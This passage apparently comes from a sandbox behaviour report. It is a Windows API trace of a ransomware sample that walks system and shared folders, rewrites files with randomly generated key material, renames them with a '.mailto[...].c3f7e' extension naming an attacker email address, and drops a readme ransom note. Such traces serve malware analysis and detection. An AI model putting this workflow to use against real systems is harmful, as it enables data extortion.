	[0073.917] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d89460 | out: lpFindFileData=0x2d89460*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpatialStore", cAlternateFileName="SPATIA~1")) returned 1
	[0073.917] wcscmp (_String1="SpatialStore", _String2=".") returned 1
	[0073.917] wcscmp (_String1="SpatialStore", _String2="..") returned 1
	[0073.917] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x4732ce0
	[0073.917] wcscpy (in: _Dest=0x4732ce0, _Source="C:\\ProgramData\\WindowsHolographicDevices" | out: _Dest="C:\\ProgramData\\WindowsHolographicDevices") returned="C:\\ProgramData\\WindowsHolographicDevices"
	[0073.917] wcscat (in: _Dest=0x4732ce0, _Source="\\" | out: _Dest="C:\\ProgramData\\WindowsHolographicDevices\\") returned="C:\\ProgramData\\WindowsHolographicDevices\\"
	[0073.917] wcscat (in: _Dest=0x4732ce0, _Source="SpatialStore" | out: _Dest="C:\\ProgramData\\WindowsHolographicDevices\\SpatialStore") returned="C:\\ProgramData\\WindowsHolographicDevices\\SpatialStore"
	[0073.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4732ce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c4
	[0073.917] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d89460 | out: lpFindFileData=0x2d89460*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpatialStore", cAlternateFileName="SPATIA~1")) returned 0
	[0073.917] FindClose (in: hFindFile=0x2d70a80 | out: hFindFile=0x2d70a80) returned 1
	[0073.917] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0073.917] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d777e0) returned 1
	[0073.918] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77ae0) returned 1

Thread:
	id = 120
	os_tid = 0x38c

	[0073.916] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x26) returned 0x2d77f00
	[0073.916] wcscpy (in: _Dest=0x2d77f00, _Source="C:\\Recovery\\Logs" | out: _Dest="C:\\Recovery\\Logs") returned="C:\\Recovery\\Logs"
	[0073.918] wcscat (in: _Dest=0x2d77f00, _Source="\\" | out: _Dest="C:\\Recovery\\Logs\\") returned="C:\\Recovery\\Logs\\"
	[0073.918] wcscat (in: _Dest=0x2d77f00, _Source="*" | out: _Dest="C:\\Recovery\\Logs\\*") returned="C:\\Recovery\\Logs\\*"
	[0073.918] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d88ef0
	[0073.918] FindFirstFileW (in: lpFileName="C:\\Recovery\\Logs\\*", lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x28e9c3a2, ftLastAccessTime.dwHighDateTime=0x1d32795, ftLastWriteTime.dwLowDateTime=0x28e9c3a2, ftLastWriteTime.dwHighDateTime=0x1d32795, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70a80
	[0073.918] wcscmp (_String1=".", _String2=".") returned 0
	[0073.918] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x28e9c3a2, ftLastAccessTime.dwHighDateTime=0x1d32795, ftLastWriteTime.dwLowDateTime=0x28e9c3a2, ftLastWriteTime.dwHighDateTime=0x1d32795, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.919] wcscmp (_String1="..", _String2=".") returned 1
	[0073.919] wcscmp (_String1="..", _String2="..") returned 0
	[0073.919] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x28e9c3a2, ftLastAccessTime.dwHighDateTime=0x1d32795, ftLastWriteTime.dwLowDateTime=0x28e9c3a2, ftLastWriteTime.dwHighDateTime=0x1d32795, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0073.919] FindClose (in: hFindFile=0x2d70a80 | out: hFindFile=0x2d70a80) returned 1
	[0073.919] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88ef0) returned 1
	[0073.919] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77f00) returned 1
	[0073.919] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77f30) returned 1

Thread:
	id = 121
	os_tid = 0x3ec

	[0073.920] GetFileAttributesW (lpFileName="C:\\Recovery\\ReAgentOld.xml" (normalized: "c:\\recovery\\reagentold.xml")) returned 0x2020
	[0073.920] SetFileAttributesW (lpFileName="C:\\Recovery\\ReAgentOld.xml", dwFileAttributes=0x20) returned 1
	[0073.920] CreateFileW (lpFileName="C:\\Recovery\\ReAgentOld.xml" (normalized: "c:\\recovery\\reagentold.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x40c
	[0073.920] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x7b0fe80 | out: lpFileSize=0x7b0fe80*=1006) returned 1
	[0073.920] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x3ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.920] ReadFile (in: hFile=0x40c, lpBuffer=0x7b0fe04, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7b0fe00, lpOverlapped=0x0 | out: lpBuffer=0x7b0fe04*, lpNumberOfBytesRead=0x7b0fe00*=0x4, lpOverlapped=0x0) returned 1
	[0073.922] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.922] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818a0
	[0073.922] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0073.922] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819e0
	[0073.922] NtQuerySystemTime (in: CurrentTime=0x7b0fde0 | out: CurrentTime=0x7b0fde0*=132251868006509066) returned 0x0
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0xe8a92f8e
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0x993d0bd5
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0xbaa6e80
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0x9e023196
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0xa6aeb7cf
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0xfbbc83b8
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0xd389c41b
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0x451f6292
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0xbde839af
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0x44e5702a
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0x8d0d44e1
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0xec219b0a
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0xed3b3622
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0xf2cd8591
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0xc5a8ce78
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0xdce607b8
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0x9dd74c5d
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0xbfdbeea0
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0x9aa8f480
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0x1a12f400
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0x77fb0a9d
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0x4c61e62d
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0xe06702c
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0x11b926fa
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0x960e43ca
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0x5b3adb31
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0xc7f5a5b8
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0xd7ceff2f
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0x92c723db
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0x328c0686
	[0073.922] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0xbf97e437
	[0073.923] RtlRandom (in: Seed=0x7b0fdec | out: Seed=0x7b0fdec) returned 0x8ded9e83
	[0073.932] ReadFile (in: hFile=0x40c, lpBuffer=0x470d768, nNumberOfBytesToRead=0x3ee, lpNumberOfBytesRead=0x7b0fddc, lpOverlapped=0x0 | out: lpBuffer=0x470d768*, lpNumberOfBytesRead=0x7b0fddc*=0x3ee, lpOverlapped=0x0) returned 1
	[0073.932] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.932] WriteFile (in: hFile=0x40c, lpBuffer=0x2d8b838*, nNumberOfBytesToWrite=0x3ee, lpNumberOfBytesWritten=0x7b0fdd8, lpOverlapped=0x0 | out: lpBuffer=0x2d8b838*, lpNumberOfBytesWritten=0x7b0fdd8*=0x3ee, lpOverlapped=0x0) returned 1
	[0073.936] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818a0
	[0073.936] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818c8
	[0073.936] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818c8) returned 1
	[0073.936] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d8b838) returned 1
	[0073.936] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x470d768) returned 1
	[0073.941] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0073.941] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73150) returned 1
	[0073.941] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x2d7bdc8
	[0073.941] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.941] WriteFile (in: hFile=0x40c, lpBuffer=0x2d89670*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x7b0fe40, lpOverlapped=0x0 | out: lpBuffer=0x2d89670*, lpNumberOfBytesWritten=0x7b0fe40*=0x10d, lpOverlapped=0x0) returned 1
	[0073.943] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89670) returned 1
	[0073.943] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7be00) returned 1
	[0073.943] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818c8) returned 1
	[0073.943] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bdc8) returned 1
	[0073.943] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818a0) returned 1
	[0073.943] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0073.943] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a08) returned 1
	[0073.943] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a30) returned 1
	[0073.943] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7c) returned 0x2d62fc8
	[0073.943] wcscpy (in: _Dest=0x2d62fc8, _Source="C:\\Recovery\\ReAgentOld.xml" | out: _Dest="C:\\Recovery\\ReAgentOld.xml") returned="C:\\Recovery\\ReAgentOld.xml"
	[0073.943] wcscat (in: _Dest=0x2d62fc8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Recovery\\ReAgentOld.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Recovery\\ReAgentOld.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0073.943] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Recovery\\ReAgentOld.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x7b0fdf8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Recovery\\ReAgentOld.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0073.943] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x2d5c998
	[0073.945] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c998) returned 1
	[0073.945] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7ad60) returned 1
	[0073.945] NtQueryInformationFile (in: FileHandle=0x40c, IoStatusBlock=0x7b0fe04, FileInformation=0x7b0fddc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x7b0fe04, FileInformation=0x7b0fddc) returned 0x0
	[0073.945] NtSetInformationFile (FileHandle=0x40c, IoStatusBlock=0x7b0fe04, FileInformation=0x7b0fddc, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0073.945] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62fc8) returned 1
	[0073.945] FlushFileBuffers (hFile=0x40c) returned 1
	[0073.947] CloseHandle (hObject=0x40c) returned 1
	[0073.947] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3c) returned 0x2d73300
	[0073.947] wcscpy (in: _Dest=0x2d73300, _Source="C:\\Recovery\\" | out: _Dest="C:\\Recovery\\") returned="C:\\Recovery\\"
	[0073.947] wcscat (in: _Dest=0x2d73300, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Recovery\\C3F7E-Readme.txt") returned="C:\\Recovery\\C3F7E-Readme.txt"
	[0073.947] GetFileAttributesW (lpFileName="C:\\Recovery\\C3F7E-Readme.txt" (normalized: "c:\\recovery\\c3f7e-readme.txt")) returned 0xffffffff
	[0073.947] CreateFileW (lpFileName="C:\\Recovery\\C3F7E-Readme.txt" (normalized: "c:\\recovery\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0073.949] WriteFile (in: hFile=0x40c, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x7b0fe00, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x7b0fe00*=0x6f6, lpOverlapped=0x0) returned 1
	[0073.950] CloseHandle (hObject=0x40c) returned 1
	[0073.950] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73300) returned 1
	[0073.951] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70700) returned 1

Thread:
	id = 122
	os_tid = 0x598

	[0073.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2a) returned 0x2d7bd90
	[0073.935] wcscpy (in: _Dest=0x2d7bd90, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users"
	[0073.935] wcscat (in: _Dest=0x2d7bd90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\"
	[0073.935] wcscat (in: _Dest=0x2d7bd90, _Source="*" | out: _Dest="C:\\Users\\All Users\\*") returned="C:\\Users\\All Users\\*"
	[0073.935] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d88ef0
	[0073.935] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*", lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70a80
	[0073.946] wcscmp (_String1=".", _String2=".") returned 0
	[0073.946] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.951] wcscmp (_String1="..", _String2=".") returned 1
	[0073.951] wcscmp (_String1="..", _String2="..") returned 0
	[0073.951] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4511a9a6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0073.951] wcscmp (_String1="Adobe", _String2=".") returned 1
	[0073.951] wcscmp (_String1="Adobe", _String2="..") returned 1
	[0073.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2d70d80
	[0073.952] wcscpy (in: _Dest=0x2d70d80, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users"
	[0073.952] wcscat (in: _Dest=0x2d70d80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\"
	[0073.952] wcscat (in: _Dest=0x2d70d80, _Source="Adobe" | out: _Dest="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe"
	[0073.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70d80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x40c
	[0073.952] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0073.952] wcscmp (_String1="Application Data", _String2=".") returned 1
	[0073.952] wcscmp (_String1="Application Data", _String2="..") returned 1
	[0073.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x2d8aa40
	[0073.952] wcscpy (in: _Dest=0x2d8aa40, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users"
	[0073.952] wcscat (in: _Dest=0x2d8aa40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\"
	[0073.952] wcscat (in: _Dest=0x2d8aa40, _Source="Application Data" | out: _Dest="C:\\Users\\All Users\\Application Data") returned="C:\\Users\\All Users\\Application Data"
	[0073.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d8aa40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7cc
	[0073.953] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1
	[0073.953] wcscmp (_String1="Comms", _String2=".") returned 1
	[0073.953] wcscmp (_String1="Comms", _String2="..") returned 1
	[0073.953] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2d70900
	[0073.953] wcscpy (in: _Dest=0x2d70900, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users"
	[0073.953] wcscat (in: _Dest=0x2d70900, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\"
	[0073.953] wcscat (in: _Dest=0x2d70900, _Source="Comms" | out: _Dest="C:\\Users\\All Users\\Comms") returned="C:\\Users\\All Users\\Comms"
	[0073.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d0
	[0073.954] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
	[0073.954] wcscmp (_String1="Desktop", _String2=".") returned 1
	[0073.954] wcscmp (_String1="Desktop", _String2="..") returned 1
	[0073.954] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d70980
	[0073.954] wcscpy (in: _Dest=0x2d70980, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users"
	[0073.954] wcscat (in: _Dest=0x2d70980, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\"
	[0073.954] wcscat (in: _Dest=0x2d70980, _Source="Desktop" | out: _Dest="C:\\Users\\All Users\\Desktop") returned="C:\\Users\\All Users\\Desktop"
	[0073.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d4
	[0073.955] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
	[0073.955] wcscmp (_String1="Documents", _String2=".") returned 1
	[0073.955] wcscmp (_String1="Documents", _String2="..") returned 1
	[0073.955] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d73150
	[0073.955] wcscpy (in: _Dest=0x2d73150, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users"
	[0073.955] wcscat (in: _Dest=0x2d73150, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\"
	[0073.955] wcscat (in: _Dest=0x2d73150, _Source="Documents" | out: _Dest="C:\\Users\\All Users\\Documents") returned="C:\\Users\\All Users\\Documents"
	[0073.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d73150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d8
	[0073.956] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d88ef0 | out: lpFindFileData=0x2d88ef0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0073.956] wcscmp (_String1="Microsoft", _String2=".") returned 1
	[0073.956] wcscmp (_String1="Microsoft", _String2="..") returned 1
	[0073.956] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d73300
	[0073.956] wcscpy (in: _Dest=0x2d73300, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users"
	[0073.956] wcscat (in: _Dest=0x2d73300, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\"
